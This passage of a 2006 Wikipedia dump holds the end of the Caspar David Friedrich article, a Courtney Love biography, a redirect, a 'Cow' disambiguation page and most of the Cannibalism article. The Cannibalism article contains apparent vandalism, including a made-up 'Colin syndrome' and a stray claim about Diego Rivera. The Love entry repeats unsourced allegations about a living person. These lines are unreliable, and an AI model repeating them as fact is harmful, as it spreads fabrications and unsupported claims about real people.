His work is often read as expressing German patriotism during the time of the Napoleonic Wars and in fact Friedrich was anti-Napoleon. The occupation tortured his soul, and his political disillusionment grew worse over time. The portrayal of gothic cathedrals or churches can be seen both as a symbol of God and a statement against classicist art (common to many other romantic artists).  It can also be seen as an affirmation of a genuine germanic tradition of art out of Italian or classical influences.
Friedrich´s masterpieces were almost forgotten by the general public in the second half of 19th century and only at the end of 19th and beginning of 20th century he was rediscovered by [[Symbolist painters]] for his visionary and allegorical landscapes.
For that same reason [[Max Ernst]] and other [[surrealists]] saw him as a precursor of their movement.  

In an abusive and disgraceful interpretation [[Adolf Hitler]] would later cite Friedrich's work as expressing the Aryan ideals and co-opted a painting as a cover for a Nazi propaganda magazine, making some contemporary critics and art historians reluctant to promote Friedrich's high quality work.
As well as other romantic painter like [[Turner]] or [[Constable]] he made lanscape painting a major genre in western [[art]].
Friedrich's style influenced the painting of the Norwegian [[Johann Christian Dahl]] but the heirs of his painting style did not achieved his mastery and depth.
[[Arnold Böcklin]] was strongly influenced by his work and perhaps also the painters of the American [[Hudson River School]], the [[Rocky Mountain School]], and the [[Luminism (American art style)|New England Luminists]].
Friedrich also sketched monuments (a memorial) and sculptures for [[mausoleums]], which reflects his obssession with [[death]] and [[afterlife]], and some funereal art in Dresden´s cemeteries are his.

Some of his masterpieces were destroyed due to a fire in [[Munich]] Glass Palace (1931) and in [[World War II]] bombing in Dresden.

==Quotes==
&quot;The painter should paint not only what he has in front of him, but also what he sees inside himself. If he sees nothing within, then he should stop painting what is in front of him.&quot;, ''Caspar David Friedrich''

&quot;A mountain of ice and the debris of a ship that has been crushed by it. It is a great tragedy, not a single survivor.&quot;, ''David d´Angers'', 19th century French sculptor about &quot;The sea of ice&quot;.

==Selected works==
*ca. 1807 - [[:Image:Tetschen altar.jpg|''Tetschen altar'']], oil on canvas
*ca. 1810 - [[:Image:Cross on the mountain.jpg|''Cross on the mountain'']], oil on canvas -Kunstmuseum at Dusseldorf, Germany
*1810 - [[:Image:Cloister Graveyard in the Snow.jpg|''Cloister Graveyard in the Snow'']], oil on canvas
*1811 - [[:Image:Winter landscape.jpg|''Winter landscape'']], oil on canvas -National Gallery, London, UK
* (date unknown) - [[:Image:Sepia Drawing by Friedrich.jpg|''View of Arkona at Moonrise'']], sepia drawing
*1817 - [[:Image:Wanderer above the sea of fog.jpg|''Wanderer above the sea of fog'']], oil on canvas -Kunsthalle Hamburg, Germany
*1822 - [[:Image:The tree of crows.jpg|''The tree of crows'']], oil on canvas -Louvre Museum, France
*ca.1830 - [[:Image:Trees in the moonlight.jpg|''Trees in the moonlight'']], oil on canvas

==External links==
*[http://www.hamburger-kunsthalle.de/start/en_start.html Hamburg Kunsthalle Collection]
*[http://www.caspar-david-friedrich-gesellschaft.de/index.htm Caspar David Friedrich Foundation]
*[http://www.hermitagemuseum.org/html_En/04/2003/hm4_2_046.html Hermitage Museum Archive]
*[http://www.wga.hu/html/f/friedric/index.html Web Gallery of Art] - comprehensive collection of Friedrich's works
*[http://www.artcyclopedia.com/artists/friedrich_caspar_david.html Artcyclopedia] - links to Friedrich's pictures from Image Archives, articles etc
{{Commons|Caspar David Friedrich}}

[[Category:1774 births|Friedrich, Caspar David]]
[[Category:1840 deaths|Friedrich, Caspar David]]
[[Category:German painters|Friedrich, Caspar David]]
[[Category:Romantic painters|Friedrich, Caspar David]]
[[Category:Natives of Mecklenburg-Western Pomerania|Friedrich, Caspar David]]

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    </revision>
  </page>
  <page>
    <title>Courtney Love</title>
    <id>5655</id>
    <revision>
      <id>41932394</id>
      <timestamp>2006-03-02T18:41:14Z</timestamp>
      <contributor>
        <ip>24.42.175.142</ip>
      </contributor>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:CourtneyLove.jpg|thumb|Courtney Love]] --&gt;
'''Courtney Love''' (born '''Love Michelle Harrison''' on [[July 9]][[1964]], name changed to '''Courtney Michelle Harrison''' in 1967) was the singer for the now-defunct rock band [[Hole (band)|Hole]]. Love is now a solo artist, and is also an occasional model and actress. Love is the widow of [[Kurt Cobain]] (1967&amp;ndash;1994), lead singer of the band [[Nirvana (band)|Nirvana]].  With him she has one daughter, Frances Bean Cobain. 

==Biography==
===Early life===

Born in [[San Francisco, California]], to [[Grateful Dead]] manager and publisher [[Hank Harrison]] and therapist Linda Carroll (née Risi). Love's mother Linda Carroll was born to writer Paula Fox but given up for adoption to an [[Italian American]] couple who raised the ([[Jew]]ish-born) daughter Catholic [http://redsea.blogspot.com/]. Love spent her childhood with her mother as she wandered through four husbands and as many [[hippie]] [[commune (intentional community)|commune]]s in [[Oregon]] and at boarding school in [[Nelson, New Zealand]]. Love later claimed to have been given [[LSD]] as a toddler. Her father denies this allegation and has passed [[polygraph]] tests.
 
A troubled, angry child, Love was a veteran of [[reform school]]s and [[juvenile hall]]s by the time she was a teenager. She broke away from her family and traveled around the US, [[United Kingdom]] and [[Ireland]], living off of a trust fund established for her by her mother's adoptive parents. Her first rock musician boyfriend was [[Rozz Rezabek]] followed in Liverpool by [[Julian Cope]], the founder of [[The Teardrop Explodes]]. In her late teens she worked in [[Japan]] as a [[stripper]], a job that she would return to at several points in her life before attaining fame. At age 22 she found herself back in [[Portland, Oregon]], then moved to [[Los Angeles, California]] in 1987 along with the band [[Babes in Toyland (band)|Babes in Toyland]]. After being fired from Babes by founding member [[Kat Bjelland]], she took up in Los Angeles with [[Leaving Trains]]. Viewed by some as a social climber, she befriended many musicians who would later become [[alternative rock]] icons, among them [[Michael Stipe]] of [[R.E.M. (band)|R.E.M.]] and [[Billy Corgan]] of [[Smashing Pumpkins]].

===Musical career and marriage===

Love began her professional music career with a brief stint as the lead singer of [[Faith No More]] in the early 1980s. She was kicked out of the band for being overly controlling shortly after. About this time she also played in an all-female pop-rock band called [[Sugar Baby Doll]] with Kat Bjelland and [[Jennifer Finch]]. None of their [[The Bangles|Bangles]]-influenced material has ever been released. Love had more early success as an actress, appearing as the best friend of [[Nancy Spungen]] in [[Alex Cox]]'s [[Sid Vicious]] [[biopic]] ''[[Sid and Nancy]]'' in 1986, and in Cox's ''[[Straight to Hell]]'' in 1987, as well as some small roles on television episodes. 

Returning to music in her adopted hometown of [[Minneapolis, Minnesota]], Love claims she co-founded the all-female rock band Babes in Toyland with Bjelland, but this is denied by others; acrimony between Love and Bjelland led to Love's quick exit from the band. The band's biographer claims she stole house receipts to a [[Butthole Surfers]] concert.  In 1991 Love formed her own band, Hole. The band's debut album garnered little critical or popular attention in the U.S. but was celebrated in the influential British alternative music press. Already a star in England, Hole's fortunes improved considerably following Love's marriage to Cobain and the publicity following Cobain's death.
 
Unpopular with some Nirvana fans (comparisons to [[Yoko Ono]] were made early on and persist to this day), Love's image was further tarnished by a 1992 article in ''[[Vanity Fair (magazine)|Vanity Fair]]'' entitled &quot;Strange Love&quot; in which she admitted to using [[heroin]] in the early stages of pregnancy. As a result, Child Welfare Services briefly investigated the Cobains' fitness as parents. Love claims to this day that she was misquoted, saying she had told author Lynn Hirschberg that she had stopped using it once she learned she was pregnant.

Similarly to [[Axl Rose]], she was often ridiculed in the press for her abrasive, sometimes erratic behavior, such as cursing at [[paparazzi]] and publicly harassing Cobain's former girlfriend, folksinger [[Mary Lou Lord]].

Shortly before the release of Hole's breakthrough album ''[[Live Through This]]'' in April 1994, Cobain committed suicide. Love read his suicide note at a televised memorial a few days later, sobbing hysterically and alternately cursing her husband as a &quot;fucking asshole&quot; and pleading with him to come back.

Hole bassist [[Kristen Pfaff]] died of an apparent [[drug overdose]] two months later. She was replaced by [[Melissa Auf Der Maur]] later that year.

=== Life after Cobain ===
Love was a fashion trendsetter. In her early career, she modelled a &quot;[[kinderwhore]]&quot; look, which she was accused of having imitated after Kat Bjelland, although other sources suggest the rip-off was in fact in the opposite direction.  Love stated that the look was inspired by [[Christina Amphlett]] of 1980s rock group [[The Divinyls]], most famously in a lengthy phone message recorded and subsequently released by [[The Muffs]], who had ironically titled their album ''[[Blonder and Blonder]]'' after a sarcastic quote by Love regarding lead singer [[Kim Shattuck]].  Love's style has since evolved, and she has modelled for more sophisticated designer labels. 

Love received considerable acclaim for her role as [[Larry Flynt]]'s wife, Althea, in [[Milos Forman]]'s 1996 film ''[[The People vs. Larry Flynt]]'', opposite [[Woody Harrelson]] as Flynt. She was also praised for her supporting role in the 1998 [[Andy Kaufman]] biopic ''[[Man on the Moon]]'', which starred [[Jim Carrey]] as Kaufman. Other notable film credits include ''[[Basquiat]]'', ''[[200 Cigarettes]]'', and ''[[Feeling Minnesota]]''.

==Controversy==
Since Cobain's death, conspiracy theories have circulated, alleging that he was in fact murdered at Love's instigation.

Love has been a strong critic of the [[music industry]], especially the [[RIAA]].  In 2000, she publicly announced her admiration for [[Napster]] which, at the time, was being accused of fostering illegal [[file-sharing]]. She became known for her criticism of unfair record contracts and [[Artist exploitation|mistreatment of artists]].

With Hole having fallen into disarray, Love attempted to begin a &quot;[[punk rock]] femme supergroup&quot; called Bastard during summer/autumn of 2001, though this project never reached fruition. Hole broke up that year amid continuing litigation.  Love in October 2001 performed in some solo shows as an opening act. 

[[Image:CourtneyLoveQMagMarch2003.jpg|200px|thumb|right|Controversial cover of the March 2003 edition of Q magazine, in which Courtney Love posed nude]]In 2003, Love pleaded not guilty to felony drug charges related to possession of [[painkiller]]s.  In February of 2004, an arrest warrant was issued for Love after she failed to appear at a preliminary hearing; the warrant was subsequently rescinded when she appeared in court on [[February 18]]. She released her first solo album, ''[[America's Sweetheart]]'', just eight days earlier, on [[February 10]].

Early on the morning of [[March 19]][[2004]] Love was arrested in [[New York City]] for allegedly throwing a microphone stand and hitting a man on the head. Earlier in the night, she appeared on ''[[The Late Show with David Letterman]]'' and flashed her breasts at [[David Letterman|Letterman]] six times.

On her 40th birthday, [[July 9]][[2004]], she missed a scheduled court appearance relating to an attempted break-in at a boyfriend's house and was found in [[contempt of court]]. Her attorney later said she missed the appearance due to medical problems; later in the month she appeared in court and was sentenced to an 18-month probation and drug rehabilitation program.

In August of 2004, Love alienated some fans when she allowed a bill for a message board tied into her website to go unpaid. Love had agreed to pay (and had been paying) the bill though the board was owned by a fan, which she had decided to reimburse in order to influence aspects of the website's design and usage. The site is now separately managed and no longer affiliated with Love. 

Love recently regained the custody of her daughter after beginning a state-enforced rehabilitation program, although it is still in jeopardy due to a possible drug-related incident which is the subject of current legal action.

According to [[Neil Strauss]]'s book ''[[The Game (book on Pickup Artists)|The Game]]'', at some point before 2005, Courtney Love spent a good amount of time staying at the mansion called &quot;Project Hollywood&quot; where Pick-Up Artists such as the famous &quot;Mystery&quot; resided.

On [[August 19]][[2005]], Love admitted using drugs in violation of her probation terms. The rocker-actress was ordered into a 28-day drug treatment program by a judge who initially said &quot;my belief was that you need to go to the county jail.&quot; This program was also violated and on September 21 she was sentenced to 6 months in lock down rehab. [http://www.mtv.com/news/articles/1507991/20050819/love_courtney.jhtml?headlines=true] 

In August 2005, tabloid papers such as ''[[News of the World]]'' began reporting that Love became pregnant during an affair with British actor and comedian [[Steve Coogan]]. Coogan's spokeswoman, alongside Love's publicists, have discredited the story as &quot;nonsense&quot;.  [http://breakingnews.iol.ie/entertainment/story.asp?j=153365086&amp;p=y5336579z]

Love was cast to star as legendary cowgirl [[Texas Guinan]] in the story of her life, called ''[[Hello Sucker!]].'' The film was never made.

She is set to release her sophomore solo album, ''[[Exile in Blonde]]'', under [[Virgin Records]] in 2006.

==Manga==

When Love lived in Japan, she became a fan of [[manga]]. She co-created a series called ''[[Princess Ai]]'' ('Ai' meaning 'Love'). ''Princess Ai'' features the character design of [[Ai Yazawa]]. Dialogue for ''Princess Ai'''s main character, Ai, is taken from Love's song lyrics.

'''Princess Ai: Volume I'' was released by [[TOKYOPOP]] in the United States on [[July 6]][[2004]].

==Discography==

[[Image:Clove.jpg|thumb|Cover of Love's solo album, [[America's Sweetheart]].|right]]
* See [[Hole (band)]]
* ''[[America's Sweetheart]]'' (2004)
* ''[[Exile In Blonde]]'' (2006)

==Filmography==
*''[[Sid and Nancy]]'' ([[1986]])
*''[[Straight to Hell]]'' ([[1987]])
*''[[Tapeheads]]'' ([[1988]])
*''[[1991: The Year Punk Broke]]'' ([[1992]]) (documentary)
*''[[Basquiat]]'' ([[1996]])
*''[[Feeling Minnesota]]'' ([[1996]])
*''[[The People vs. Larry Flynt]]'' ([[1996]])
*''[[Not Bad for a Girl]]'' ([[1996]]) (documentary) (also co-producer)
*''[[Off the Menu: The Last Days of Chasen's]]'' ([[1997]]) (documentary)
*''[[Kurt &amp; Courtney]]'' ([[1998]]) (documentary)
*''[[200 Cigarettes]]'' ([[1999]]) 
*''[[Man on the Moon]]'' ([[1999]])
*''[[Beat]]'' ([[2000]])
*''[[Bounce: Behind the Velvet Rope]]'' ([[2000]]) (documentary)
*''[[Julie Johnson]]'' ([[2001]])
*''[[Last Party 2000]]'' ([[2001]]) (documentary)
*''[[Trapped (film)|Trapped]]'' ([[2002]])
*''[[Mayor of the Sunset Strip]]'' ([[2003]]) (documentary)
*''[[(This Is Known as) The Blues Scale]]'' ([[2004]]) (documentary)
*''[[Lovelace]]'' ([[2007]]) (currently in production)

==External links==
{{wikiquote}}
*[http://www.courtneylove.com/ Courtney Love's Official homepage]
* [http://www.allmusic.com/cg/amg.dll?p=amg&amp;uid=UIDMISS70311071654390588&amp;sql=B7vzyxdjb8ola/ Courtney Love All Music Guide Page]
* {{imdb name|id=0001482|name=Courtney Love}}
* Criticism of the music industry: &quot;[http://www.salon.com/tech/feature/2000/06/14/love/ Courtney Love does the math]&quot;  &quot;an unedited transcript of Courtney Love's speech to the Digital Hollywood online entertainment conference, given in New York on [[May 16]], [[2000]].&quot;
* [http://www.justiceforkurt.com/ Kurt Cobain conspiracy]


{{Nirvana (band)}}
[[Category:1964 births|Love, Courtney]]
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[[Category:American actors|Love, Courtney]]
[[Category:American female singers|Love, Courtney]]
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[[Category:Female guitarists|Love, Courtney]]
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[[Category:Grunge musicians|Love, Courtney]]
[[Category:Jewish-American singers|Love, Courtney]]
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[[Category:Living people|Love, Courtney]]
[[Category:Nelsonians|Love]]
[[Category:Portlanders|Love, Courtney]]
[[Category:Punk rock musicians|Love, Courtney]]
[[Category:San Franciscans|Love, Courtney]]

[[da:Courtney Love]]
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    </revision>
  </page>
  <page>
    <title>Cosmic background radiation</title>
    <id>5656</id>
    <revision>
      <id>30554928</id>
      <timestamp>2005-12-08T04:00:22Z</timestamp>
      <contributor>
        <username>Joke137</username>
        <id>184529</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Cosmic microwave background radiation]]</text>
    </revision>
  </page>
  <page>
    <title>Cow (disambiguation)</title>
    <id>5657</id>
    <revision>
      <id>38487167</id>
      <timestamp>2006-02-06T17:51:01Z</timestamp>
      <contributor>
        <username>Interestingstuffadder</username>
        <id>808664</id>
      </contributor>
      <comment>revert. this was not intended to be funny. this is a disambiguation. the idea that is that it contains various meanings. this use is at least as common as any of the others (eg the programming lang</comment>
      <text xml:space="preserve">{{wiktionary|cow}}

'''Cow''' may refer to:

* [[Cattle]] regardless of sex (in vernacular usage).
* The [[COW programming language]], an esoteric programming language.
* Insulting euphemism for an [[obese]] [[human being]]

'''COW''' may refer to:
* [[Can of worms]]
* [[Casualty of War]]
* [[Cell On Wheels]]
* [[City of Westminster]]
* [[Cluster of Workstations]]
* [[Coalition of the Willing]]
* [[Computer Originated World]], referring to the globe ID the BBC1 TV network used from 1985 to 1991
* Code Optimization Ware, as used in the game ''[[Tron 2.0]]''
* [[Cold work]]
* [[College of Wooster]]
* [[Commanding Officer's Wife]]
* [[Copy-on-write]]
* [[Cost of war]]
* [[Crude oil washing]]

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  </page>
  <page>
    <title>Cannibalism</title>
    <id>5658</id>
    <revision>
      <id>42131634</id>
      <timestamp>2006-03-04T00:55:44Z</timestamp>
      <contributor>
        <ip>205.188.116.65</ip>
      </contributor>
      <comment>/* Cannibalism in popular culture */</comment>
      <text xml:space="preserve">[[Image:Cannibals.23232.jpg|thumb|right|300px|Cannibalism in [[Brazil]] in 1557 as described by [[Hans Staden]].]]
'''Cannibalism''' is the act or practice of eating members of one's own [[species]] and usually refers to [[humans]] eating other humans (sometimes called '''anthropophagy'''). Cannibalism has been attributed to many different tribes and ethnicities in the past, but the degree to which it has actually occurred and been socially sanctioned is an extremely controversial topic in [[anthropology]]. Some anthropologists argue that cannibalism has been almost non-existent and view claims of cannibalism with extreme [[skepticism]], while others argue that the practice was common in pre-state societies.
Several archaeologists have claimed that some ruins in the [[American Southwest]] contain evidence of cannibalism. Individual cases in other countries have been seen with mentally unstable persons, criminals, and, in unconfirmed rumors, by religious zealots. In the [[United States|US]], the [[Donner party]] was an example of cannibalism used to avoid starvation. However, there's no physical evidence that the family who gave the Donner Party its name had anything to do with the cannibalism the ill-fated pioneers have been associated with for a century and a half. There are disputed claims that cannibalism was widespread during the famine in [[Ukraine]] in the [[1930s]], during the [[Siege of Leningrad]] in [[World War II]], and during the [[Chinese Civil War]] and the [[Great Leap Forward]] in [[China]].  It has been claimed that cannibalism was practiced by Japanese troops as recently as WWII in the Pacific theater. {{ref|tanaka}}

== Non-human cannibalism ==
Cannibalism is common and a part of the life cycle for some species. The female [[red-back spider]], [[black widow spider]], [[praying mantis]], and [[scorpion]] sometimes eat the male after mating (though the frequency of this is often overstated). For other organisms, cannibalism has less to do with sex than relative sizes.  Larger [[octopus]] preying upon smaller ones is commonly observed in the wild, and the same can be said for certain [[toad]]s, [[fish]], red-backed salamanders, [[crocodile]]s, and [[tarantula]]s.  Cannibalism may develop in extremes such as captivity or a desperate [[famine|food shortage]].  For instance, a domestic [[pig|sow]] may eat her newborn young, though this behavior has not been observed in the wild.  Another cause for cannibalism in captivity is territoriality; species with large territories in the wild may display cannibal behaviors in confinement with others.  For example, while tarantulas infrequently cannibalize in the wild, they do so much more commonly in captivity.  It is also known that [[rabbit]]s, [[mouse|mice]], [[rat]]s, or [[hamster]]s will eat their young if their nest is repeatedly threatened by predators.  In some species adult males are known to kill and sometimes eat young of their species to whom they are not closely related &amp;mdash; famously, the [[chimpanzee]]s observed by Dr. [[Jane Goodall]].  This is believed to be a mechanism of increasing the portion of a colony's energy and food expenditure that will then be available to the cannibal's own offspring. During the [[NATO]] bombing of [[Yugoslavia]] in 1999, a number of animals in [[Belgrade]] Zoo, including a [[tigress]] and two [[wolf|she-wolves]] were reported to be so traumatised that they ate their offspring. Prince, a Bengal tiger, was even reported by an [[India]]n war correspondent to have started eating himself &amp;mdash; gnawing at his own foot in what the zookeeper was quoted as saying was [http://svaradarajan.blogspot.com/1999/06/war-ravages-belgrades-bengal-tiger.html his &quot;protest&quot; at the bombing].
Diego Rivera also practiced cannibalism.

== Cannibalism among humans ==
It is generally accepted that accusations of cannibalism have historically been much more common than the act itself. [[Queen Isabella]] of Spain decreed that [[conquistadores]] could not enslave any Indian tribes they encountered unless they practiced cannibalism.  This meant that the incidence of cannibalism was wildly exaggerated and in most cases invented.  The [[Carib]] tribe acquired a longstanding reputation as cannibals due to this, whereas in fact modern research has found no trace of the practice.  During the years of British colonial expansion, [[slavery]] was considered to be illegal unless the people involved were so depraved that their conditions as slaves would be better than as free men.  Demonstrations of cannibalistic tendencies were considered evidence of such depravity, and hence reports of cannibalism became widespread.

The [[Korowai]] tribe of southeastern [[Papua (Indonesian province)|Papua]] is one of the last surviving tribes in the world said to engage in cannibalism. In many wars in [[Africa]], cannibalism is said to occur commonly, although in peacetime it doesn't appear to happen except for isolated cases involving traditional medicine.

Militaristic Japanese historians of China in the late 19th and early 20th century such as  [[Kuwabara Jitsuzo]], have claimed the Chinese civilization has had a history of cannibalism, citing references to cannibalism in Chinese literature.  More recently, the Chinese writer [[Lu Xun]] used cannibalism as a motif in some of his short stories.  In addition there are rumors that cannibalism was practiced during the Great Leap Forward and [[Cultural Revolution]] due to starvation.  However, there is no strong evidence outside of literary references that cannibalism was socially sanctioned in ancient China, nor have there been any definitive studies that suggest that cannibalism was common during the 20th century in China.  Ironically, there is strong documentary and forensic evidence that [[Japanese people|Japanese]] troops during WWII practiced cannibalism of both enemy and own during [[WWII]] when food supplies ran out. {{fact}}

[[Marvin Harris]] has analyzed cannibalism and other [[taboo food and drink|food taboos]].
He thinks that it was common when humans lived in small bands, but disappeared in the transition to states, the Aztecs being an exception.

Other more contemporary reports have also been called into question.  The well known case of mortuary cannibalism of the [[Fore Tribe|Fore tribe]] in New Guinea which resulted in the spread of the disease [[Kuru epidemic|Kuru]] is well documented and not seriously questioned by modern anthropologists. This case, however, has also been questioned by those claiming that although post-mortem dismemberment was the practice during funeral rites, cannibalism was not. Marvin Harris theorizes that it happened during a famine period coincident with the arrival of Europeans and was rationalized as a religious rite. 

The word ''cannibal'' comes from New Latin Canibalis - Carib, from Spanish Caníbal, from [[Taino]] Caniba, of Cariban origin; akin to Carib (Merriam-Webster.) There is verbal confluence here. Christopher Columbus originally assumed the natives of Cuba were subjects of the Great Khan of China or 'Kannibals' (CITATION NEEDED) Prepared to meet the Great Khan, he had aboard Arabic and Hebrew speakers to translate. Then thinking he heard Caniba or Canima, he thought that these were the dog-headed men (cane-bal) described in [[John Mandeville|Mandeville]]. Others ([[Samuel Purchas]], ''Hakluytus Posthumus'', Volume XIV, 1905: 451) claim that &quot;Cannibal&quot; meant &quot;valiant man&quot; in the language of the Caribs. [[Richard Hakluyt]]'s ''Voyages'' introduced the word to English. Shakespeare transposed it, anagram-fashion, to name his monster servant in ''[[The Tempest (play)|The Tempest]]'' '[[Caliban (character)|Caliban]]'. The Caribs called themselves Kallinago which may have meant 'valiant' (Raymond Breton 1647, Relations on the Caribs of Dominica and Guadalupe).

Cannibalism was reported in [[Mexico]], the [[flower war]]s of the [[Aztec]] Empire being considered as the most massive manifestation of cannibalism, but the Aztec accounts, written after the conquest, reported that human flesh was considered by itself to be of no value, and usually thrown away and replaced with turkey. There are only two Aztec accounts on this subject: one comes from the Ramirez codex, and the most elaborated account on this subject comes from [[Juan Bautista de Pomar]], the grandson of [[Netzahualcoyotl]], [[tlatoani]] of [[Texcoco]]. The accounts differ little. Juan Bautista wrote that after the sacrifice, the Aztec warriors received the body of the victim, then they boiled it to separate the flesh from the bones, then they would cut the meat in very little pieces, and send them to important people, even from other towns; the recipient would rarely eat the meat, since they considered it an honour, but the meat had no value by itself. In exchange, the warrior would get jewels, decorated blankets, precious feathers and slaves; the purpose was to encourage successful warriors. There were only two ceremonies a year where war captives were sacrificed. Although the Aztec empire has been called &quot;The Cannibal Kingdom&quot;, there is no evidence in support of it being a widespread custom. Aztecs believed that there were man-eating tribes in the south of Mexico; the only illustration known showing an act of cannibalism shows an Aztec being eaten by a tribe from the south ([[Florentine Codex]]). In the [[siege of Tenochtitlan]], there was a severe hunger in the city; people reportedly ate lizards, grass, insects, and mud from the lake, but there are no reports on cannibalism of the dead bodies.

The friar [[Diego de Landa]] reported about [[Yucatán]] instances, ''Yucatan before and after the Conquest'', translated from ''Relación de las cosas de Yucatan, 1566'' (New York: Dover Publications, 1978: 4), and there have been similar reports by Purchas from Popayan, [[Colombia]], and from the [[Marquesas Islands]] of [[Polynesia]], where human flesh was called ''long-pig'' (Alanna King, ed., ''Robert Louis Stevenson in the South Seas,'' London: Luzac Paragon House, 1987: 45-50). It is recorded about the natives of the captaincy of [[Sergipe]] in [[Brazil]], ''They eat [[human flesh]] when they can get it, and if a woman miscarries devour the abortive immediately. If she goes her time out, she herself cuts the [[umbilical cord|navel-string]] with a [[seashell|shell]], which she boils along with the secondine, and eats them both.'' (See E. Bowen, 1747: 532.)

Famed Mexican muralist [[Diego Rivera]] claimed in his autobiography that during a period in 1904, he and his companions ate &quot;nothing but cadavers&quot; purchased from the local morgue. Rivera was fully aware of the shock value of this tale. Rivera claims that he thought cannibalism a way of the future, remarking &quot;I believe that when man evolves a civilization higher than the mechanized but still primitive one he has now, the eating of human flesh will be sanctioned.  For then man will have thrown off all of his superstitions and irrational taboos.&quot; Readers may be reminded of the savage satire of [[Jonathan Swift]]'s ''[[A Modest Proposal]].''
===Medical explanations===
In pre-modern medicine, an explanation for cannablism stated that it came about within a black acrimonious [[Four humours|humour]], which, being lodged in the linings of the [[ventricle]], produced the voracity for human flesh. Cannibalism may also be due to [[Colin syndrome]], named after the famous cannibal [[Colin Fanthorpe]]. {{ref label|1728|3|^}}

==Modern cannibalism== 

It is interesting to note that currently the cheapest source of material from which food grade [[L-cysteine]] may be purified in high yield is human hair.  Its use in food products is widespread worldwide.  Some debate that consuming L-cysteine derived from human hair is not actually cannibalism.  Some believe cannibalism occurs any time any human body part is intentionally harvested, prepared, and consumed as a food.

Few people identify the compulsion to gnaw and [[nail biting|bite nails]] or pieces of [[skin]] from fingers as cannibalism, because it is not the intentional harvest of a food item. Similarly, intentionally consuming one's own flesh or body parts, such as [[Blood sucking#Human hematophagy|sucking blood]] from wounds, is generally not seen to be cannibalism; ingesting one's own blood from an unintentional lesion such as a nose-bleed or an ulcer is clearly not intentional harvesting and consequently not cannibalistic.  [[Trichophagia]] is a condition where the subject consumes his own hair, which is obviously a body part by definition.

It is possible for some mothers to gain possession of their afterbirth or [[placenta]] once their child is born. Some people eat this placenta material as a delicacy; this may or may not be considered cannibalism.
&lt;!--- what's this?
&quot;In the 70s to 80s, the first &quot;cannibalism&quot; practice was attributed to the group of &quot;Kumander Bucay,&quot; whose members were reported to have eaten the flesh of their Muslim victims during the &quot;Ilaga&quot; and Moro rebel fighting. [...] He confirmed that the &quot;cannibal gang&quot; did eat the &quot;human heart and liver&quot; of their victims and drink their blood, believing that it is an effective &quot;amulet&quot; to protect them from bullets and bladed weapons.&quot; [http://www.mb.com.ph/PROV2005082042443.html  PHILIPPINE NEWS SITE]
---&gt;

==Historical cannibalism incidents==
Cannibalism was documented in [[Egypt]] during a famine caused by the failure of the [[Nile]] to flood for eight years (AD 1064-1072).

[[Crusaders]] resorted to cannibalism after their successful siege of [[Ma'arrat al-Numan]] in [[1098]].

In Europe during the [[Great Famine of 1315-1317]], at a time when [[Dante]] was writing one of the greatest pieces of literature in western history and the Renaissance was just beginning, there were widespread reports of cannibalism throughout Europe. However, many historians have since denied these reports as fanciful and ambiguous.

In the [[Netherlands|Dutch]] ''[[rampjaar]]'' (disaster year) of [[1672]], when [[France]] and [[England]] during the [[Franco-Dutch War]] / [[Third Anglo-Dutch War]] attacked the Republic, [[Johan de Witt]] (a significant [[Netherlands|Dutch]] [[political figure]]) was killed by a shot in the neck; his naked body was hanged and mutilated and the heart was carved out to be exhibited. His brother was shot, stabbed, eviscerated alive, hanged naked, brained and partly eaten.

The survivors of the sinking of the French ship [[The_Raft_of_the_Medusa|Medusa]] in 1816 resorted to cannibalism after four days adrift on a raft.

After the sinking of the [[Whaleship Essex| Whaleship ''Essex'']] of [[Nantucket]] by a whale, on [[November 20]], [[1820]], (an important source event for [[Herman Melville]]'s ''[[Moby Dick]]'') the survivors, in three small boats, resorted, by common consent, to cannibalism in order for some to survive [http://www.bbc.co.uk/dna/h2g2/alabaster/A671492].  See [[The Custom of the Sea]].

Sir [[John Franklin]]'s lost polar expedition and the [[Donner Party]] are other examples of human cannibalism from the [[1840s]].

In the [[1870s]], in the U.S. state of [[Colorado]], a man named [[Alferd Packer]] was accused of  killing and eating his travelling companions. He was later released due to a legal technicality, and maintained that he was innocent of the murders throughout his life. However, modern forensic evidence, unavailable during Packer's lifetime, indicates that he did indeed murder and/or eat several of his companions. The story of Alferd Packer was satirically told in the [[Trey Parker]] comedy/horror/musical film, ''[[Cannibal! The Musical]]'', released in 1996 by [[Troma]] Studios.  

The case of ''[[R v. Dudley and Stephens]]'' ([[1884]]) 14 QBD 273 (QB) is an [[England|English]] case which is said to be one of the origins of the defence of [[necessity]] in modern common law. The case dealt with four crewmembers of an English yacht which were cast away in a storm some 1600 miles from the [[Cape of Good Hope]]. After several days one of the crew fell unconscious due to a combination of the famine and drinking sea-water. The others (one objecting) decided then to kill him and eat him. They were picked up four days later. The fact that not everyone had agreed to draw lots contravened [[The Custom of the Sea]] and was held to be murder. At the trial was the first recorded use of the defence of necessity.

During the [[1930s]] anecdotal accounts of cannibalism were reported from the [[Ukraine]] during the [[Holodomor|Ukrainian Genocide]]. [http://news.bbc.co.uk/1/hi/world/europe/3229000.stm]

On [[October 13]], [[1972]], an [[Uruguay]]an [[Rugby union|rugby]] team flew across the [[Andes]] to play a game in [[Chile]]. The plane crashed near the border between Chile and [[Argentina]]. After several weeks of [[starvation]] and struggle for [[Survival skills|survival]], the numerous survivors decided to eat the frozen bodies of the deceased in order to survive. They were rescued over two months later.  ''See [[Uruguayan Air Force Flight 571]].''

It has been reported by defectors and refugees that, at the height of the famine in the 1990's, cannibalism was sometimes practiced in [[North Korea]]. 

[[Médecins Sans Frontières]], the international medical charity, supplied photographic and other documentary evidence of ritualised cannibal feasts among the participants in [[Liberia]]'s internecine strife in the 1980s to representatives of [[Amnesty International]] who were on a fact-finding mission to the neighbouring state of [[Guinea]]. However, Amnesty International declined to publicise this material, the Secretary-General of the organization, [[Pierre Sane]], stating at the time in an internal communication that &quot;what they do with the bodies after human rights violations are committed is not part of our mandate or concern&quot;. The existence of cannibalism on a wide scale in Liberia and [[Sierra Leone]] was subsequently verified in video documentaries by [[Journeyman Pictures]] of [[London]].

==Cannibalism in war==
Cannibalism is known to have been practiced by the participants of the [[First Crusade]]. Some of the crusaders fed on the bodies of their dead opponents after the capture of the Arab town of [[Ma'arrat al-Numan]]. Many allege that the Crusaders were just being cruel and inhumane, but in reality they did it to survive. It was also practiced by foraging parties on the later stages of the march on Jerusalem.

